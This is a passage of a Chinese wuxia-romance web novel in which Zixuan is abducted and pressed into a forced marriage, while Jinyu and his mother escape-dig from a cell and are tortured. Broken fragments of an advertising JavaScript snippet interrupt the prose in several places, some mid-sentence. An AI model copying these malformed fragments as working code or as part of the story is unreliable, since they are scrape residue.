车子轰隆隆发动,行进的速度不慢,似乎是在官道上奔驰,一直到当天深夜才驶入一所靠水的大宅,宅中早有人来接应。 一个四十来岁的男人等在第一进的花厅里,吴宏见到他便十分恭敬地行了一礼:“奉主人之命,人已经带到。” 中年男人点点头,眼睛已经飘向了他身后被人押着的紫璇。他一挥手,宅中人接过紫璇,再摆手让吴宏退下,自己则带着人转回了后园。 紫璇明显感觉新的押解之人下手轻了许多,似乎是两个女子。她们走了很长一段时间,最后才引着她迈入一道门槛。继而眼罩被摘下,稍稍花了点时间适应光线后,她才看清了面前的两个年轻侍女。其中一个正蹲着为自己解绳子,另一位则笑盈盈地对她说:“请姑娘稍等片刻,少爷马上就到。” “少爷?”事情超出自己的预料,紫璇感到一丝慌乱,谁是少爷? 侍女松开她的手脚后立刻离去,房中便只剩她一人。面前的桌上有茶水点心,可她并不敢伸手去拿。她起身四顾,发现自己身处在一个精致的卧房当中,桌上盖着细腻的绫罗做桌布,内室装着纱帐,与外间隔开,对侧墙上有书画匾额, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 另边则是一个多宝阁,上门有七八个小巧精美的摆件……越看越是熟悉,这里是…… 下一刻,门被猛地推开,出现在门外的面孔解答了她此时的所有疑问。 原来,所谓的“少爷”是魏若琛。 魏若琛飞快地踏进门,身后跟着的小厮一个劲地提醒他“慢点”。魏若琛瞪了他一眼,小厮才乖觉地留在了门口。 “可算是见到你了!”魏若琛弯着一双眼睛,眼神中有欣喜有急迫,就像一个天真的孩童得到了梦寐以求的玩具。 可紫璇却无法理解他此时的雀跃,只是茫然地看着他。 “很惊讶吧?我听爹爹说他们已经抓到了你的时候也像你这般,话都不会说了。” “你爹?”直到这时,紫璇才猛然醒悟魏若琛姓“魏”,他是魏菘泽的儿子! “是呀,我跟爹求了好几天呢,他才同意把你送来陪我。怎么样?这回你又得感谢我了吧!” 原本在他进门时站起来了的紫璇再度落座,无语地抓起桌上的茶壶给自己倒了杯水,赶了这么久的路,她早就渴了。 魏若琛也挨着她坐下,仔细瞧了她几眼:“你好像高了一点,脸色也比之前要好。” 紫璇又开始吃起点心。 “你走了都快有一年啦,我被闷在这儿,再也没有人愿意陪我出去玩。我一直盼着再见到你,有你陪我,我就不会这么无聊,日子肯定能好过一点儿……”他见紫璇总是不回应,撇嘴道,“你怎么不说话?你就没有想过我吗?” 紫璇撂下吃到一半的点心,没好气道:“我被你爹从去年追杀到今年,险些没命。能活着就算是不错了!” “我爹有那么厉害吗?”魏若琛道。 紫璇梗在当场,只好白了他一眼,继续闷头喝茶吃点心。 “从现在起,你就不用担心啦。我已经和我爹讲好了,以后你就是我的人,你安心住在这儿,只管陪我玩耍,我保证没人敢伤害你。” “你还真是单纯。”紫璇冷冷说道。 “单纯不好么?”魏若琛疑惑。 落到魏若琛的手里也算是不幸中的万幸。虽然她来之前就知道自己暂时不会有性命之忧,但呆在魏若琛身边意味着她也不会有其他风险。不过,这也着实令她更加好奇,难道自己猜错了魏菘泽的目的?思前想后只能理解成,要么是魏若琛太溺爱魏若琛,以至于他什么样的请求都肯答应;要么就是魏菘泽此刻并不急于和天魄门摊牌。 如今她虽然被困在这里,可如果瑾瑜和他母亲能顺利回到镖局,那至少这个时候天魄门已经收到她被人掳走的消息。一年前这里便守卫森严,如果不是先设法出了宅子又有魏若琛的掩护根本逃不出去,如今再度被困,此处只会更加难以突破,想要出去,目前来看唯一的指望便是安心等人来救自己。 也没有其他办法了,既来之则安之,总归魏若琛孩子心性,有点烦人但没有坏心,即便自己不爱哄着他,他也甘之如饴,日子不会比去年五月更难熬。 但她不知道的是,瑾瑜和齐雅雯也已被抓,齐建霄无法找到他们的下落。而且,魏若琛很快也不会再如上一次那样好相与了。 163. 迫嫁 齐雅雯和瑾瑜再一次仔仔细细地将牢室的墙壁和铁门摸索了一遍,瑾瑜甚至还飞身上到顶部观察,最后也只能老老实实地承认,这处牢狱是新修的,要想让它露出破绽,恐怕得像苏茂霖那样等上七年八年。 齐雅雯见他灰心,便安慰他道:“机会是等来的。我看他们也不准备现在就弄死咱们,不如再等等。” “可是璇儿她……”瑾瑜说到一半,又垂下了头。 “你忘了,在那间小屋里她说过什么?”齐雅雯耐心劝解,“那伙人也不乐意让她死,至少她的性命是无忧的。娘知道你担心她,我也同样担心,可是你这样唉声叹气于事无补,不如振作一点,着意留心着,才有可能找到逃出去的机会。” 这番话虽然没能完全让瑾瑜宽心,但的确使得他不再那么没精打采了。晚间看守的人来送饭的时候,他也认认真真得吃了好大一碗。 来送饭的只有一个人,那人显然是提前受了训练,除了把碗从牢门的缝隙里递给他们,一个多余的眼神都没有。即便瑾瑜和他搭话,他也像听不见一样不为所动。 瑾瑜留了心,他来收碗的时候,故意将碗放得远一些。他实在够不着,才嚷了一句:“把碗拿近些!” 原来他会说话。瑾瑜和齐雅雯对视一眼,继而起身上前,将一只饭碗递过去,那人拿起碗刚要收回,下一瞬手腕就被紧紧攥住。 瑾瑜使的力气极大,那人吃痛,由着手中的碗掉在了地上。 “这里是哪儿?”瑾瑜低声问道。 那人却大喊出声:“来人啊!!” 紧接着便有四五个带刀之人冲了进来,见到此等情景,纷纷抽出刀穿过门缝,有的递到瑾瑜面上,有的则向下指着他的手腕:“把人放开。” 瑾瑜这才慢慢松开了手。送饭之人捡起那只碗立刻离去。 看守们还刀入鞘,走之前还训斥他:“不想死的就老实点!” 第一次试探就这样草草结束,瑾瑜不得不回到原处坐下。齐雅雯的脸色却闪过一丝喜色,对他道:“咱们至少弄清楚了一件事!” 瑾瑜抬头,不解地看着母亲。 “牢房外的守卫离得很近,一有声响就能立刻过来,而且不少于五个人。咱们再多试几次,就知道这五个之外是不是还有其他的看守。先摸清楚这一点,以后对付起来也更有把握不是?”齐雅雯边说边点头,面上带着一点儿中年人少有的俏皮。 这之后瑾瑜隔三岔五就试探一次,一会儿肚子疼了要吃药,一会儿嫌弃饭菜搜了要收拾送饭的,慢慢摸清楚了囚房的守卫情况。除了送饭之人,守卫共有三班,每班的人是固定的,只有五个。因为不管他闹出多大的动静,冲进来的人永远不超过五个。 呆了几天之后,他们还发现,这里除了他们母子应当还关押着另一拨人。送饭之人在来他们这里之前还会端着另一份吃食朝更里面走,收碗的时候也是从里面收起。从吃食的分量来看,里面被关押的应当也是两个人,而且待遇比他们好,菜色花样多,也做得更加精致。 与此同时,看守时不时还会带着笔墨纸砚进去,或是带着写满了字的纸张出来,想必被擒来那人正在为此间的主人办什么事。 有一回,瑾瑜注意到一个看守拿着字纸经过,故意喊叫起来。守卫们日日被他折腾,早就积累了不少怨气,听见他又在叫唤,立马抄起刀再次插到了牢门里,骂道:“你有完没完!要不是我家少爷要我们好好看着你,你觉得我能忍到现在!我告诉你,再不老实些,老子忍无可忍,拼着被温叔骂一顿我也必然要在你身上戳出几个血窟窿来!” “那纸上写的,似乎是一些药材的名字。”等那人气鼓鼓地离去,齐雅雯才在瑾瑜耳边说道。 “药材?他们要拿药材做什么?还要特地抓个人到牢里来开药?”瑾瑜问。 “或许此间的主人生了病,大夫不肯来看,他们就把人抓来了?” “不像,看病讲究的是望闻问切,大夫见不到病人,怎么治病?” 齐雅雯点着头,思索道:“你说的对。药材如果不是为了治病,那就是为了……” “制毒、杀人!”瑾瑜也想到了。 “这里的主人到底想干什么?又是抓人又是制毒的?” “他们是天魄门的对头,做这些很可能都是为了对付天魄门。” “那我们是不是得想办法搞点破坏,让他们没那么容易得逞?” 这件事对于被囚禁在此什么都做不了的母子俩来说几乎不可能,可能够这样过一过嘴瘾,母子俩还是笑了起来。 ********************* 见到魏若琛的第二天,紫璇便收到了温叔着下人们流水价送来的首饰布料。首饰各个华丽精致,衣料也都以红色为主。 紫璇想要推据,下人门却说:“这是温叔吩咐的,我们要是拿回去定然要受罚,请姑娘莫要让我们为难。” 放下东西离开前,又说了句:“午饭后,裁衣服的师傅会上门,请姑娘做好准备。” 紫璇随意捡了几件首饰、几匹料子看了看,越看越觉得这似乎和天魄门中嫁娶女儿时用的东西差相仿佛,只是她以前见过的没有这般名贵而已。 之后不久魏若琛便进门来,见她正盯着桌上的东西皱眉头,便问道:“你不喜欢吗?那我叫他们重新办了来!”说着便要唤人。 “且慢。”紫璇抬起眸子,“你先告诉我,这些是做什么的?” “我们俩成亲的时候你要穿戴的呀?”魏若琛仍旧是那副烂漫模样,丝毫不觉得自己说的话有什么不妥。 紫璇再一次梗住,良久才记起来还要说话:“成亲?我什么时候说要嫁给你了?” “你是没说过,可是我想娶你呀,我爹也已经答应了。” “你想娶我又能怎样,成亲这种事情,你最起码该先问问我的意见吧?你这样做,和胁迫我有什么区别?” 魏若琛这才终于发现紫璇生了气,急忙从那堆首饰衣料中抬起头来:“这怎么能是胁迫呢?我只是喜欢你,想和你永永远远地待在一块儿。爹爹不愿意把你给我,我特意在他面前求了又求,他才……” “当你要求一个人做一件她不愿意的事情,而她却不能拒绝的时候,就是胁迫。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 紫璇声音虽然不大,却无法掩饰其中的厌恶,心思单纯如魏若琛也感受到了。 “你讨厌我……”他似乎还很受伤。 紫璇再度无语:“难不成我还要喜欢你?” “你说的对,我是将死之人,你肯定不会喜欢我……”他还委屈得不行。 “我不是因为这个理由不喜欢你!” “那是因为什么?” “我……”紫璇很郁闷,又不知道该如何跟他说明白。 “那你告诉我,你喜欢什么样的,我会照着努力,变成你喜欢的样子,好不好?” 直到这时,紫璇才注意到,平时总是叽叽喳喳说说笑笑的魏若琛,看向自己的眼神和瑾瑜那么相像,其中的渴望如出一辙,但多了一丝委屈痴怨,似乎很怕失去她。 “还是说,你已经有了喜欢的人?”他语调陡降,想起了温叔口中的那个人。 “没错。”紫璇收回目光,“但这也和你没有关系。有没有他,我也不会喜欢你,更不会在你的逼迫下嫁给你。” 但是魏若琛根本没有听到后面一句,他在确认了紫璇心有所属的同时就支持不住,捂住心口倒了下去。紫璇赶忙喊人,温叔喘着气跑来,着人将他抬走,走之前还深深地看了紫璇一眼,显然在他眼里是她害得魏若琛发了急病。 魏若琛心疾复发,宅中忙乱不已,他偶然清醒一回,开口第一句话就是要见紫璇。温叔瞧着他在憔悴病中都还对那个女子心心念念,越发觉得心塞,可又不愿让他不快,便吩咐人立刻将紫璇带来。 在去见魏若琛之前,温叔先在门口拦住了她。 “文紫璇,文姑娘?” 紫璇停下脚步,直视着他。她和温叔彼此试探不少,但从未认真有过一次对话。。 “少爷自小便有心疾,最受不得任何一丁点刺激。这一回他发病不深,我就不追究了。要是有下次,让老爷知道你害的他卧床不起,就算少爷再喜欢你,也必定保不住你。” “老爷?你是说魏菘泽?”紫璇昂起头,眼睛里满是不屑。 “你是何人?怎可将老爷的名讳随便宣之于口?!” “那不然怎么称呼?三师叔?就算我这样叫,他也未必会答应吧。” “住口!若不是少爷求情,老爷又极其心疼他,怎会容你这般放肆!”温叔压下一口闷气,逼近一步,“老爷肯放你出来的前提条件便是让你嫁给少爷,你别不识抬举。” “你别说笑了,这就叫放我出来?不过是把我从一个小牢笼换到了一个更大的牢笼里罢了。告诉你,我不会嫁给魏若琛,魏菘泽若有本事就杀了我,否则免谈!” “是吗?”听到她如此坚决的态度,温叔反倒笑了起来,“文姑娘,你别忘了,要强迫一个人,手段多着呢。或许你不在乎自己的性命,可要是别的什么人的命,你大概不会如此无所谓吧?” 这句威胁之后,温叔便不在言语,转身进了房门。 紫璇凝视着他的后背,一边缓缓踏入门槛,一边飞快地思索。难不成,他们还是抓了瑾瑜和齐雅雯来?已想到两人因自己而受苦,她愈发彷徨起来。 164. 伪装 一进魏若琛的卧房,在彷徨之外,紫璇又添了一重吃惊。苏茂霖正坐在魏若琛床前,手搭在他腕上,显然是在给他诊脉。而她盯着苏茂霖愣神的模样也被温叔看在了眼里。 苏茂霖起身来到温叔面前:“若琛脉象起伏不定,显然是情绪过于激动所至。之前的方子我看了,大体没有问题,我再添两味药进去,缓解他当下气虚心痛的症状便可。多则十天半月,他便能起身、无大碍了。” 温叔闻言点了点头,心中大石放下了一半,向苏茂霖拱手道:“那就有劳四爷了。” 这个时候,苏茂霖总算瞄到了跟在温叔身后的紫璇,原本平淡的脸色立刻浮上阴霾还带着一丝鄙夷。 “她怎么在这?!” 温叔的目光意味深长地在他门二人之中徘徊:“四爷认识她?” “如何不认识?”苏茂霖狠狠瞪了紫璇一眼,“若早知道她是文远骥的女儿,我就是死也不会把她的小命救回来!” “四爷救过她的命?”温叔马上抓住关键。 “哼!”苏茂霖别过头,似是一点儿也不想看到紫璇。继而三言两语说起去岁十一月末瑾瑜带着奄奄一息的紫璇从山上跳下来,恰好被他的女儿救回药炉的事情,但是对紫璇质问他夺门之变之事只字不提。他还改换了前后顺序,假作自己是救了他们之后才得知她与文远骥的关系。 “我和文远骥有杀父之仇、夺妻之恨,怎么能救她的女儿!虽然天意如此,但我也不能违背自己的良心,不直接杀了她已经算是我的仁慈了!没想到居然让她保住了小命,如今还活蹦乱跳的,我真是悔不当初!” “我已经说过,我爹没有做过你说的那些事情!你休想血口喷人,妄图毁坏他的清誉!”紫璇立刻回敬他。 他说了这么一大串,紫璇已经明白,他故意装成不知实情,对文远骥所谓的“罪行”耿耿于怀来接近魏菘泽,肯定是有所图谋,她怎么能拖后腿。 “没有做过?!”苏茂霖再度转身,死死盯住她的眼睛,“那文远骥是怎么坐上门主之位的?晗月又是如何好端端成为他的妻子的?人在做天在看!文远骥想否认一切,门都没有!等十年之期一到,我便会杀上太白山,你叫文远骥好好等着!” 这之后苏茂霖便拂袖而去,全然是一副愤恨不已的模样。温叔看看他离开的背影,再看看犹自瞪着眼睛抿着嘴唇很是憋屈的紫璇,放下了心里的另一块石头。 苏茂霖每日都会来给魏若琛诊脉,有时还会亲自把药送来,再两句魏若琛的身体情况。紫璇基本都守在魏若琛身边,温叔不在的时候,苏茂霖就会支开下人跟紫璇悄悄说上几句话。 “你怎么在这儿?”苏茂霖先问。 “魏菘泽的人设计抓了我。他的儿子知道了,便把我要了来。” “你们认识吗?他为何……” “说来话长,”紫璇打断他,“你又是怎么进来的?” “我找了当年天魄门的旧人,通过他搭上了魏菘泽。他想不利于天魄门和你,我潜伏在他边上,若有什么有用的消息,也可以早些知会大师兄。他听说我懂医术,正好他儿子生病,就叫我过来瞧瞧。” “温叔这个人疑心极重,前日那番话他虽然信了,我们还是要万分当心,千万不能露出马脚。” “我当然明白,你放心。” 苏茂霖瞧着床上喝了药正沉沉睡着的魏若琛道:“他们说是你气着他了,才让他发病的,到底怎么回事?虽然不很严重,但是对于他这种缠绵病榻多年的人来说,发作一次就相当于少一截寿命,总是如此并不利于他养病。” “他们要逼我嫁给他。”紫璇闷闷地答道。 “什么?!”苏茂霖的声音不自觉就变大了,如果说刚才他看魏若琛的眼神还和看其他病患无异,现在就立马变成了看仇人的眼神。 “小声!”紫璇急忙朝门口张望,确信没有人能过来之后才道:“他如今病了,暂时还不会拿我怎么样。不过以后……” 听着她语调突然迟滞,苏茂霖胸中怒气充溢,下意识说道:“要不要我一服药毒死他?既可以让他不能再打你的主意,还能在这个宅子里引起骚乱,你好乘乱逃脱。” “不可,”紫璇摇头,“瑾瑜和她娘亲很可能也被他们拿住了,别说这里守卫森严,单靠我们两个不一定能逃出去。就算我逃了出去,他们怎么办?” 她沉下一了口气,又道:“而且,己所不欲勿施于人。他和我一样,自小便是药罐子,能活到现在本就不易。若我们再硬生生掐断他本就不长的寿命……我不忍心,再等等吧。” 苏茂霖刚刚只是一时情急,才说了那番话,真要毒死一个人,他也不一定做得出来,见紫璇这样说,也就作罢了。 “你在这宅子里定然比我能走动的地方要多一些,我们小心留意着,若发现什么情况,相互通个气,我就不信,这里真能被守得铁板一块。” “我晓得,就算是铁板,我们也要给它弄出一条缝来!”女儿斗志昂扬,苏茂霖自然也不会服输。 ********************* 被关的时间一长,瑾瑜和齐雅雯就再也无法收集到新的信息。无聊之中他想起,即便是被困在倪家庄,紫璇也从不耽误练功。牢房狭窄,练习剑招是不可能了,但在脑袋里将全部招式从头到尾过一遍不难,虽然他不知道这样是不是有用,但总比每日无所事事除了吃就是睡要强一点。 齐雅雯听了苏茂霖被关七年、最终靠着靠瓷片扣开砖缝逃出生天的故事,很是感概。便和瑾瑜商量,故意砸碎了一只碗。看到地上七零八落的碎瓷片,送饭之人只咒骂了两句,便带着其余的碗筷走了。 实际上,在此之前齐雅雯就已经选了碎瓷中几片较为锋利的偷偷藏了起来。送饭之人偷懒没有收走其他瓷片,瑾瑜就不用时不时摔一只碗。这些瓷片,或许足够他们刮开墙中缝隙,从而在侧边墙上开出一个洞口来。 除了每日练功、吃饭、睡觉,瑾瑜剩下的时间基本上都会帮着齐雅雯一起 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 掏墙峰,没几日贴壁的一块石头便真的被他们扣了下来。石头背后是一层泥浆,泥浆背后又是一层石头,隔壁牢房必然就在这一层石头墙壁后面。 母子俩看到希望,干得愈发起劲,只是得万分小心,到了每日饭点和睡前,需把挖掉的石头再按照原来的形状嵌回去,让人大体上看不出破绽来。被挖下来的土被齐雅雯细心碾碎,均匀地洒在睡觉的茅草之下,消失地无影无踪。 如此发奋了几天,墙壁最终被他们挖出来一个手掌大小的洞。从洞口往里看,对侧果然还是一间牢房,而且空无一人。更为关键的是,门是虚掩着的,并没有上锁! 若能将洞口扩大到可容一人通过,或许他们便可以溜出去,只要躲过看守便能逃出生天。不过,这番打算并没有那么容易实现,最大的难点是保留靠内侧的石头不动,把手从洞里伸出去先挖掉后面的土,等最后要逃跑的时候才推掉前面的石头,否则石头没了支撑,无法立足,再也还原不了墙壁的原来模样,他们的计划立刻便会被人发觉。 如此,瑾瑜又设法留下了吃饭用的筷子,用布头将小一些的瓷片紧紧缠在它上面,做成一把小铲子,伸到洞口里一点一点掏出墙壁内的泥土。不过这样做并不容易,堪堪五六天过去,母子俩也只把中间的缺口打开了一倍多,离能够容许一个大活人钻出去的样子还差不少。 然而,在他们继续努力之前,瑾瑜被看守带走了。 这是十多日以来,瑾瑜第一次踏出牢房,来到外面。虽然他被全身捆缚,还被两个看守牢牢押着,但眼睛未被蒙上,可以乘机观察牢狱外的情况, 看守带着他走过一段黑瓦白墙,从墙上漏窗往内,可以看到一座花园,花园的尽头水光潋滟,似乎是溪流湖泊一类。 不等他再多瞧几处,目的地便已然到达。看守们将他推入一间类似刑堂的地方。两侧陈列着不少刑具,最里侧挂着一副纱帐,门外清风微起,纱帐内影影绰绰,仿若有人。 瑾瑜无法抗衡,任由他们将自己绑在刑架上,双手双脚都失去了行动的自由。于此同时,一个穿着富力的公子坐在一把宽大的背椅中被抬了进来。他面色潮红,心虚气短,似乎身体很不舒服。而那副眼睛,自进来后就一致盯着自己,仿佛在看一个素未谋面的仇敌。 看守退至两侧,魏若琛撑着扶手想站起来,却很不稳当,身后的小厮想帮忙扶着他却被他一把甩开。他硬是撑起身子昂首挺胸走到瑾瑜面前,越发仔细地凝视着他,看的他心里直发毛。 即便不知道他是谁,为何这样敌视自己,瑾瑜也不想失了气概让人小瞧,便也尽力逼视回去,眼睛眨都不眨一下。 “你就是方瑾瑜?”良久,魏若琛才从这般幼稚的斗法中败下阵来,出了声。 “正是,你又是谁?” 魏若琛未曾料到他会这般硬气,一时间不知道该怎么办,只好撇嘴负气道:“也不怎么样嘛!凭什么让紫璇倾心于你!” “你到底是谁?她在哪?你把她怎么样了?” 165. 教训 连日以来,紫璇的名字在瑾瑜心中念了不下千遍,无尽的忧惧都在听到这两个字后爆发了出来。自进门后,他第一次试图挣扎,连带着被牢牢钉在地上的刑架也晃了两下。看守担心他挣脱束缚,立刻跑上来按住他的肩膀,叫他无法再动弹。 “她以后就是我的人了,不需要你来担心她!” 魏若琛退后几步,又坐回了原先那张椅子,但眼睛依旧没离开瑾瑜。 “你胡说什么!?” 对方语气里的毋庸置疑和眼神中的小小得意都在瑾瑜原本焦急的心上又加了一把火。哪怕四肢被看守箍得死死的,他也要用力探出脖子,想知道魏若琛的话到底是什么意思。 “我没有胡说,等我身子再好些,我们就要成亲了,到时候她便是我的夫人,你就再也见不到她了。” “你在逼迫她?”瑾瑜的牙都要咬碎了。 又是这两个字!魏若琛不服,故意咧着嘴,笑着说:“谁说我逼迫她?你怎么知道不是因为我更爱她,更令她满意,所以她变心了,愿意选择我呢?” “不可能!” 瑾瑜的这份坚定让魏若琛扬起的嘴角瞬间落下,他有些生气道:“你凭什么这么自信,赌她会一直喜欢你?” “若非如此,你又何必将我五花大绑,来对我说这些废话!” “我……”魏若琛明显语塞,但不愿意承认,嘴硬道:“我就是讨厌你!想折磨你!我不允许她喜欢你,她只能是我的!” “呵呵!”瑾瑜冷笑,“笑话!璇儿她不属于任何人!倒是你,愚蠢幼稚,自以为费尽心思将人掳来就能强迫她。她是人,不是物件!试问哪个人会喜欢上不尊重自己、只图自己快活的跋扈之人?!” “你!!!”魏若琛胸闷气喘,指着瑾瑜,用力喊道:“你知道什么?!你根本不知道我有多想见她,为了得到她花了多少功夫口舌……” “那又如何!?不是紫璇逼着你这样做的,只要她不愿意,你所谓的努力对她而言根本不值一提。不是吗?”这下轮到瑾瑜气定神闲了。 魏若琛咬着牙说不出话,最后才从嘴里迸出两个字:“打他!” 看守之一取下鞭子,极其卖力地对着瑾瑜左右抽打,他的衣衫上很快布满了红色的鞭痕,纵横交错,极为可怖。 瑾瑜紧咬住下唇,坚决不让自己叫出声来,仿佛自己若喊一声疼,便是输给了对面这个男人一样。 然而此刻魏若琛的心思却根本不在他的身上,而是越过刑架背后的那道纱帐,猜想着里面的紫璇看到这一幕后的心情和表情。 紫璇被点了穴,无法动弹,也不能说话,身侧还这站着四个大汉。但她的眼睛和耳朵尚能发挥作用,刚才魏若琛和瑾瑜所有的对答她都听得一清二楚,更不用说鞭子打在瑾瑜身上的噼啪响声和瑾瑜苦苦忍耐的闷哼声。紫璇心如刀绞却无可奈何,只能任由眼泪狂飙。 也不知是不是魏若琛心有不忍,看到瑾瑜一直高高昂起的头颅逐渐沉了下去,他终于喊了停,紫璇也才能够好好喘上一口气。 看守退下,魏若琛上前,这一回他又恢复了一开始的得意模样,略微俯视着因为疼得受不住身子不由自主佝偻起来的瑾瑜:“我把你打成残废,你看她还会喜欢你吗?” “喜欢。”紫璇在心里默默回答。 “喜欢。”瑾瑜咽下嗓子眼里涌上来的血水,尽可能口齿清晰地说道。 “那我就划伤你的脸,把你变成一个丑八怪,让所有人看见你都吃不下饭!”魏若琛怒道。 “那也不妨碍我喜欢他。”紫璇心道。 “那有什么关系?”瑾瑜笑起来,“喜欢一个人,难道喜欢的只是一副皮囊?” “那……”魏若琛气极,却说不出口更加残忍的能够让紫璇讨厌他的法子。 “那就杀了我?”倒是瑾瑜先替他说了出来,他已经瞧出魏若琛色厉内荏,做这些事似乎都是为了撒气,便故意要让他更加吃心。 他还尽力扯了扯破碎的嘴角,冲魏若琛脸上说:“你大可以杀了我。我若死了,璇儿只会更怀念我,也会因此而恨你……” “不准你那样称呼她!”魏若琛挥起拳头,用力锤了瑾瑜两下,瑾瑜口中冒出鲜血,吓得向后他弹开数步,似乎有些后悔自己刚刚的举动。 瑾瑜将口腔里的残血吐干净,咧着嘴咬着牙,试图抵御全身上下难以遏制的疼痛,以至于再也说不出半句挑衅的话语。 魏若琛头晕脑胀,开始在刑堂内走来走去,虽然步幅不大,但速度很快,同时胸口起伏剧烈,显然是正在思考对付他的新招数。他的小厮走过去在他耳边说了些什么,魏若琛眼睛一亮,激动道:“快把人带来!” 瑾瑜立刻变得惴惴不安,紫璇在帐后也猜到了魏若琛的意图。 果然,漫长的等待之后是被推搡至刑堂的齐雅雯。她骂骂咧咧踏进门,看到瑾瑜的瞬间便住了口,飞奔到儿子身边,目光自每一道绽开的皮肉上扫过,然后哭了出来。 母子相依的情景多少让魏若琛觉得刺眼。看守得了他的指令,捉住齐雅雯的双臂,强行将她与瑾瑜分开,还迫使她转身面对魏若琛。 “你放弃紫璇姑娘,不再喜欢她,我便饶了你娘亲的性命!否则……我杀了她!” 魏若琛故意别过脸,只看着瑾瑜。他有些不忍心去看齐雅雯的眼泪。而齐雅雯听到他的话却停止了哭泣,费力地在他和瑾瑜之间打量,努力消化着他话中之意。 “你莫不是疯了,我们之间的事情,怎可牵连到我娘?!”瑾瑜愤怒到扭曲了面目,觉得这人简直不可理喻。 “怕了?”他的神色令魏若琛很是满意,他再一次回到座椅中,两只手同时搭上扶手,“怕了就投降!承认你比不上我。离开紫璇,从此不再喜欢她。” 齐雅雯终于搞清楚状况,不顾形象地“呸”了一声,不仅晃得两个押着她的大汉连连拉紧她,连瑾瑜都吓了一跳。长大这么大,他还从未见过自己的母亲这般泼辣的模样。 “靠逼退竞争者来赢得女孩的心,你怕不是个呆子?!”齐雅雯甩过去一个大大白眼,“你爹娘就从没教过你,遇到心爱之人该如何争取?” 魏若琛的手撑在扶手上,想起来,身体却不由自主地向后靠了靠,明显被齐雅雯的气势震慑住了。 “你当我们女人是什么?任人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 宰割没有灵魂的木偶?还是离了男人就不能活的笨瓜!你以为想方设法把瑾瑜从她身边弄走,她就会喜欢你?就会赶紧找下一个男人?笑话!!!” 紫璇听到这番中气十足的谩骂,担心之余又觉得痛快。以前她只看到了齐雅雯作为慈母温婉和善的一面,如今这般义正词严、决不妥协的样貌更令她欣赏。 “紫璇自有心肝,喜欢谁不喜欢谁她自己说了算,岂能仍由你摆布她。” 魏若琛眼睛瞪得有原先两倍大,想反驳,却说不出话。齐雅雯毕竟有长辈的气势,魏若琛从小没了娘亲,与父亲的相处也不算多,根本不知道如何回应长辈的指斥。更何况,她说的每一句话还都有些道理。 瞧着对面抬起手彷徨挥舞却又喃喃不语的样子,齐雅雯冷笑道:“你如此行事,真的是出于对她的喜欢吗?我怎么觉得,你不过是把她当成一件玩具,想把她据为己有而已呢!” “不是的!!”魏若琛终于找回了自己的声音,反驳道,“我喜欢她,我只有她!她走了之后我白天黑夜都在想他,想和她在一起,想让她陪我到最后……” “好,就算你真的离不开他,那我问你,你的这番心意可否告诉过她?有没有问过她的意愿?”齐雅雯气势汹汹地打断他,“若是她愿意,你又何须在这里欺负瑾瑜?!” 魏若琛身子越发塌入椅中,丝毫不见一开始的气焰。问她的意愿?紫璇昨天也是这样说的,我……我真的做的不对吗? 齐雅雯见他这副模样,又是个病人,便也生了恻隐之心,改为谆谆教导的语气:“听你刚刚的话,你只是想要让她陪着你,何曾顾及到她半点儿?如果有另一个女子喜欢你,非要嫁给你,使出各种手段逼迫你和她在一起,你会愿意吗?” “不愿意……”魏若琛这样想着,答案便不受控制地从嘴里溜了出来。 “那……那我要怎么办?我……”他抬起头,带着哀求看向齐雅雯的眼睛,似乎想从她那里得到一个答案。 “想获得心爱之人的心,方法不一而足,你不如去问问自己的朋友或是长辈。”齐雅雯的语调越发柔和。 “我从没见过我娘,我爹……我也没有朋友……”魏若琛低声回应,声音中已然带着哭腔。 齐雅雯有些心疼他,感受到两侧肩膀有些松快,便甩开两个看守,稍稍走上前去,对魏若琛道:“你要真喜欢她,就不要总想着索取,先问一问自己,你可以为她做什么?看到她好,你也会觉得欢喜,不是吗。若她能回应便是你的幸运。若她不愿意,你也不要强求。” “付出?”魏若琛茫然道。 “对,就是付出。你要是真心爱慕紫璇姑娘,就得先放下你自己,去问问她喜欢什么,试着为她做点什么。” “你这是在教我?” “对,我看你什么都不懂,教教你到底该怎么追女孩子。” “可我和你儿子是敌人,我要是成功了,他不就……” 齐雅雯笑着摇头:“你怎么还是不懂?男未婚女未嫁,紫璇自有选择更好的人的自由。难道因为瑾瑜是我的儿子,我就要想法设法阻断别的男子对她示好?那我把她当成什么了?!” 166. 对话 “喜欢一个人,是为了和她共尝人间百味,从中生出应付这无常岁月的勇气。若心不在一处,就算把她绑在身边,你还是孤家寡人一个。”齐雅雯又道,“爱不能强求,强迫只会把她推的更远。若你觉得这样做没结果,不划算,那就说明你还是更爱自己,那就放过彼此,何必折腾来折腾去,徒留怨恨与不安? 帐幕之后,紫璇再次红了眼睛,但这一次却并非出自忧惧,而是感念齐雅雯对自己的爱重。 对于魏若琛来说,齐雅雯所说的每一个字都闻所未闻。自他出生起,在他身边围绕的除了下人就是医者,他从无需费心去关注他们的喜好和想法。虽说温叔作为长辈看着他长大,陪伴他的时间比起魏菘泽都要长上许多,可他也只会尽力满足他的要求,让他以为,除了身体康健和父亲在侧,没有什么是得不到的。 这还是第一次有人告诉他,有些东西、有些人,要得到得先付出。并且,即便你付出了,也要做好得不到的准备。 回去的路上,他依然反复咀嚼着这些话。 齐雅雯和瑾瑜看着魏若琛就这样茫然失措地招手让人带他离开,走之前也没有说接下来要如何处置他们母子。 正在发懵中,帐幔掀动,紫璇被人押着从里面出现。 “璇儿!”瑾瑜呼吸急促,再一次想要从刑架上挣脱出来。齐雅雯只抢上数步,最终还是被看守拉住,让她无法靠近紫璇。 瑾瑜越挣扎,从伤口里渗出的鲜血就越多,紫璇不能讲话,只好拼命地摇头,让他别再伤害自己。可瑾瑜并不知放弃,似乎挣扎得越剧烈,越能发泄出他对紫璇的担心和眷恋。出门之时,紫璇最后看了一眼瑾瑜和齐雅雯,努力想笑一笑,告诉他们自己一切都好,不必挂心,却没有成功。 